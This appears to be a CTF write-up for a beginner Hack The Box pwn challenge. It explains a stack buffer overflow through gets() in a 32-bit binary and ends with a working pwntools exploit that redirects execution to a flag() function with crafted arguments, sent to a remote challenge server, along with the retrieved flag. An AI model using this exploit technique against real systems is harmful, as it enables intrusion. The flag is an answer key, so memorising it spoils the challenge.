HTB You Know 0xDiablos writeup - Pez1181/CTF GitHub Wiki
Challenge Type: Pwn / Stack Overflow
Difficulty: Beginner Friendly
Vulnerability: Stack-based Buffer Overflow
Protection Bypassed: No Canary, NX Disabled, No PIE
file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, dynamically linked, not stripped
checksec vuln
RELRO: Partial
Canary: No
NX: Disabled
PIE: No
A highly exploitable binary — no canary, no PIE, NX disabled, and unstripped symbols.
Decompiling main
reveals it prints a welcome message and calls a function named vuln()
.
In vuln()
, we see the use of gets()
with a buffer located at [ebp - 0xb8]
:
lea eax, [ebp-0xb8]
push eax
call gets
This gives us:
- A buffer overflow opportunity (184 bytes to EBP)
- The ability to control EIP by overflowing the stack
We determine the offset to EIP using a cyclic pattern:
cyclic 300
# Run and crash
cyclic -l <EIP>
➡️ Offset = 188 bytes
We identify a target function named flag()
using r2
:
r2 ./vuln -qc "aaa; afl~flag"
0x080491e2 8 144 sym.flag
Decompiling flag()
shows:
cmp dword [ebp+8], 0xdeadbeef
jne fail
cmp dword [ebp+0xc], 0xc0ded00d
jne fail
So in order to execute flag()
and trigger the flag output, we must:
- Overwrite EIP with
flag()
- Provide arguments on the stack:
-
arg1 = 0xdeadbeef
→ [ebp+8] -
arg2 = 0xc0ded00d
→ [ebp+0xc]
-
🧠 cdecl calling convention = arguments are pushed right-to-left. So:
[188 bytes buffer] [EIP → flag()] [ret addr] [arg1] [arg2]
from pwn import *
context.binary = './vuln'
context.arch = 'i386'
offset = 188
flag_addr = 0x080491e2
arg1 = 0xdeadbeef
arg2 = 0xc0ded00d
payload = b"A" * offset
payload += p32(flag_addr)
payload += b"AAAA" # Return address after flag (not used)
payload += p32(arg1) # Argument 1 (ebp+8)
payload += p32(arg2) # Argument 2 (ebp+0xc)
# Remote challenge
p = remote('83.136.249.199', 46959)
p.sendline(payload)
print(p.recvall(timeout=2).decode(errors='ignore'))
HTB{buffered_doom_is_best_doom}
-
gets()
= unbounded input = stack overflow - 32-bit binary uses cdecl: args go right-to-left
-
p32()
handles little-endian formatting automatically -
interactive()
avoided as no shell was required — we only needed output - Input size validated remotely using trial increments — payload length up to 240 accepted
Stack overflow via gets()
EIP redirected to flag()
Correct arguments placed on the stack
Remote and local exploits matched
Flag retrieved successfully